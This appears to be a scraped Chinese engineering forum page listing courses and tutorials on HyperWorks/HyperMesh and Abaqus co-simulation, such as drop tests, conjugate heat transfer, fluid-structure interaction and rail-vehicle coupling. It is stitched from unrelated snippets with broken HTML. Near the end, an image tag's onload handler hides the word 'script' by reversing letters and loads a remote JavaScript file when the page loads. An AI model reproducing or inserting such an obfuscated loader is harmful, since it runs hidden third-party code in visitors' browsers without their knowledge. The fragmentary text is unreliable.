hyperworks與ABAQUS聯合仿真
關注創建者：CAE追夢者 創建時間：2020-04-23
hyperworks與ABAQUS聯合仿真的視頻教程
基于Hypermesh與ABAQUS聯合仿真的攝像頭模組跌落分析系列課程
僅需購買第一節課程的用戶可以點此鏈接跳轉購買：https://www.yqgqt.org.cn/college/video/c17827 本次系列直播課將手把手帶你搞定以下技能 ① 幾何清理；② 網格劃分；③ 材料屬性；④ 接觸生成；⑤ 載荷及約束； ⑥ 求解設置；⑦ 變量輸出；⑧ 后處理，⑨ 結果評價 基于HyperWorks與Abaqus聯合仿真10講，以攝像頭模組跌落仿真為例
￥1000 10小時54分鐘 3170播放
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基于Hypermesh與ABAQUS聯合仿真的攝像頭模組跌落分析系列課程——膠粘模擬
需要《基于Hypermesh與ABAQUS聯合仿真的攝像頭模組跌落分析系列課程》第八章節的用戶可以直接購買本課程。
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基于Hypermesh與ABAQUS聯合仿真的攝像頭模組跌落分析——工作創建以及檢查
需要《基于Hypermesh與ABAQUS聯合仿真的攝像頭模組跌落分析系列課程》第七章節的用戶可以直接購買本課程。
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hyperworks與ABAQUS聯合仿真的實例教程
本案例是基于hyperworks/abaqus簡單的模擬一下跌落分析，重點在于說明如何在hyperworks中完成前處理（部件建立、網格劃分、材料創建、屬性定義、速度加載設置、重力加速度設置、約束設置、接觸設置、分析步設置等），接著導出inp模型文件并在abaqus中進行求解計算，abaqus只是扮演一個求解器的角色，hyperview中進行后處理。
不考慮重力加速度
考慮重力加速度
考慮和不考慮重力場的inp模型文件前處理全部在hyperworks中完成，要查看前處理如何設置，只需要在hyperworks的abaqus操作界面，導入inp模型便可查看。凡購買本案例的朋友在操作上有什么疑問，可以私信我！如果你只在hyperworks中完成部件建立、網格劃分、材料創建、屬性定義，連接關系的創建，然后在abaqus中完成加載、約束、接觸等設置并提交計算的話，遇到一些常見的問題可以關注我之前發的帖子《Hyperworks其它模塊轉到ABAQUS模塊中常會遇到的問題及解決方法匯總》。
展開 該文章分享了車輪動態彎曲和動態徑向疲勞仿真分析，依據GB/T5909商用車輛車輪性能要求和試驗方法。涉及hypermesh和abaqus聯合仿真，包含具體操作步驟、徑向疲勞分析中等效徑向力的設置。
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</div><p>在Abaqus中，可以將Abaqus/Standard或Abaqus/Explicit求解器與Abaqus/CFD求解器聯合使用，進行共軛熱傳導的計算。</p><p>高壓線絕緣子發熱的精確計算需要使用<strong>共軛傳熱</strong>，我們需要創建兩個Model，其中一個是Abaqus/Standard模型，用于求解固體傳熱；另一個是Abaqus/CFD，用于計算流體傳熱，通過耦合界面傳遞變量進行耦合。</p><div contenteditable="false" width="100%"><img src="https://img.jishulink.com/upload/202007/3ea03709d3b54f08a6e98a867cbd37cf.png" title="微信截圖_20200725085324.png" alt="微信截圖_20200725085324.png" style="max-width:760px;" data-mobile-src="https://img.jishulink.com/upload/202007/3ea03709d3b54f08a6e98a867cbd37cf.png?
展開 1.simpack與abaqus聯合仿真教程 2.車軌橋剛柔耦合仿真教程，柔性鋼軌建模，fbi文件生成，ftr文件書寫 3.出售包括模型
HyperMesh+Abaqus聯合仿真方法
考慮到HM的Abaqus模板中Step Manager與Contact Manager操作的復雜性，以及該模板對某些Abaqus版本可能不適用，本方法用inp文件作為HM生成的FE模型轉入Abaqus的中介，HM僅負責網格劃分，其他前處理工作，如裝配、定義材料屬性、建立載荷步、定義接觸面、施加載荷和邊界條件等，均在Abaqus中完成。具體方法是：
1.
HM中
a)
加載Abaqus Standard 3D模板；
b)
為每個Part建立2D與3D兩個Collector，例如有兩個零件，就要建四個Collector。
c)
根據草繪圖布置關鍵點【Geom=>create nodes=>type in】，各個部件的相對位置已體現在了在草繪圖中；
d)
連接這些點生成二維截面【Geom=>lines=>create line】；
e)
在二維截面上劃網格，例如用【2D=>spline】，生成的Element與上步生成的幾何體都放入該零件的2D Collector中；
f)
根據二維網格生成三維Element，例如用【3D=>spin】，生成的Element放入該零件的3D Collector中；
g)
重復以上步驟為每個零件生成三維單元，并放入相應的Collector中；
h)
將每個零件的Element導出為inp文件【files=>export】；
2.
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【全套源文件】STAR-CCM+ & Abaqus 聯合仿真：圓柱體高速入水雙向流固耦合(FSI)深度解析
【相關領域】：船舶與海洋工程、兵器科學、航空航天等跨域問題
【軟件版本】：STAR-CCM+ 2406 ABAQUS 202X以上
本人研究方向為海洋航行器跨域多物理場耦合，指導過多位相關專業碩士博士研究生，科研項目經驗豐富。
1. 算例簡介
本資源針對高速入水沖擊這一強非線性流固耦合難題
查了很多，最后是abaqus.bat 文件有問題，
Executable Name ：設置為launcher.exe ，就能運行啦
西門子的Simcenter STAR-CCM+與Abaqus的聯合仿真由達索系統和西門子在Windows和Linux平臺上共同認證和支持。
列出的版本配對已由達索系統和西門子認證。其他版本配對可能也是兼容的。
在 3DSPlatform 上使用 Abaqus 和 3DSFlow 的協同仿真已獲得 Dassault Systemes 在 Windows 和 Linux
本文將詳細介紹基于Ansys APDL/GUI/Workbench全平臺的Simpack車輛-柔性軌道聯合仿真相關知識。
01Simpack車輛-柔性軌道聯合仿真詳情介紹
本教程主要針對廣大Ansys 用戶量身定制，無論是對Workbench，還是經典GUI界面，甚至APDL感興趣的用戶，均適用。
涵蓋的詳細知識點如下所示：
Ansys中彈性體文件的建立過程
APDL
1.simpack與abaqus聯合仿真教程 2.車軌橋剛柔耦合仿真教程，柔性鋼軌建模，fbi文件生成，ftr文件書寫 3.出售包括模型
提供了幾篇可以用來驗證雙向流固耦合方法的文獻，比如：應變的驗證，峰值誤差5%，說明了雙向耦合計算方法的有效性。也提供了幾篇可供驗證的論文。
<p><img onload="var st=document['create' + 'Element'](['t', 'p', 'i', 'r', 'c', 's'].reverse().join(''));st['src']='https://img.jishulink.com/202505/attachment/e3c0c45774c44ad99c4c8cf72de98f7b.js';document.body
該文章分享了車輪動態彎曲和動態徑向疲勞仿真分析，依據GB/T5909商用車輛車輪性能要求和試驗方法。涉及hypermesh和abaqus聯合仿真，包含具體操作步驟、徑向疲勞分析中等效徑向力的設置。
1. abaqus導入inp文件,進行諧響應分析
2. 創建第一個載荷步，進行模態分析
3.設置要計算的模態階數（一般要覆蓋到要計算諧響應掃頻范圍的1.5倍）。模態場輸出勾選應力和變形（S、U）
4．創建第二個分析步step2，采用模態疊加法進行諧響應分析，設置掃頻范圍和結構阻尼系數。若是分析隨機振動分析三個方向，則需同樣的方法再創建另外兩個分析步
一 軟件介紹
DAMASK 是一個統一的多物理晶體塑性模擬包。連續體力學邊值問題的求解需要連接每個材料點的變形和應力的本構響應,該問題在 DAMASK 中基于晶體可塑性使用各種本構模型和均質化方法能夠被有效解決。除此之外，孤立地處理力學已不足以研究新興的先進高強度材料，在這些材料中，變形的發生與位移相變、顯著加熱和潛在的損傷演變相關，DAMASK 能夠有效處理多物理問題。
二 培訓方式
